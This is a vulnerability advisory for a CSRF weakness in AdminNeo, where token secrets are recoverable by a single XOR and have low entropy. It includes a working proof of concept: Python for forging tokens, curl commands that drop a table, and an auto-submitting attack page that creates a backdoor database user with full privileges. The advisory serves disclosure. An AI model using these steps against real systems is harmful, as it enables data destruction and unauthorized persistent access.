PT-2026-134410
CVE-2026-96629
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تاريخ النشر
2026-10-30
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تاريخ التحديث
2026-10-30
الوصف من
CVSS 3.1
6.8
متوسطةالمقاييسAV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H
Summary
AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (
rand(1, 1e6)), making blind brute-force feasible even without token observation.Originally reported by @az0mb13 in Adminer: GHSA-q4f2-39gr-45jh
Details
Token generation in
admin/include/functions.inc.php lines 1181-1184:php
function get token() {
$rand = rand(1, 1e6);
return ($rand ^ $ SESSION["token"]) . ":$rand";
}Token verification in lines 1189-1192:
php
function verify token() {
list($token, $rand) = explode(":", $ POST["token"]);
return ($rand ^ $ SESSION["token"]) == $token;
}Session token initialized in
admin/include/auth.inc.php lines 327 and 385:php
$ SESSION["token"] = rand(1, 1e6);Three distinct weaknesses:
- Instant recovery: The token format
(rand XOR secret):randtransmits both operands. Recovery is trivial:secret = masked value XOR rand. - Low entropy: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests.
- Loose comparison:
verify token()uses==(loose comparison) instead of===, enabling PHP type juggling.
PoC
Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).
Step 1: Observe a single CSRF token
Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:
html
<input type='hidden' name='token' value='222277:990527'>Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.
Step 2: Recover the session secret (instant, 1 XOR operation)
python
observed = "542273:441804"
masked, rand val = observed.split(":")
session secret = int(masked) ^ int(rand val)
# Result: 817530The token format is
(rand XOR secret):rand. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed.Step 3: Forge unlimited valid CSRF tokens
python
import random
forge rand = random.randint(1, 1000000)
forged = f"{forge rand ^ session secret}:{forge rand}"
# Example output: 729376:481370Each forged token is unique and valid. The attacker can generate as many as needed.
Step 4: Execute arbitrary SQL with the forged token
shell
# Forged token used to DROP a table the attacker never had a token for:
curl -b victim cookies.txt
'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql='
--data-urlencode "token=729376:481370"
--data-urlencode "query=DROP TABLE csrf victim table;"
-d "limit=0"Step 5: Verify a random wrong token is rejected (control)
shell
curl -b victim cookies.txt
'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql='
--data-urlencode "token=111:222"
--data-urlencode "query=SELECT 1" -d "limit=1"
# Result: "Invalid CSRF token. Send the form again."Weaponized CSRF attack page
In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:
html
<html><body>
<h1>Click here for free database optimization tips</h1>
<!-- Attacker recovered secret 817530 from an observed token -->
<!-- Forged token: 729376:481370 -->
<iframe style="display:none" name="x"></iframe>
<form id="f" method="POST" target="x"
action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql=">
<input type="hidden" name="token" value="729376:481370">
<input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;">
<input type="hidden" name="limit" value="0">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>Impact
- Cross-Site Request Forgery against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE — all accepted by the server.
- An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens.
- With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records.
- The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).
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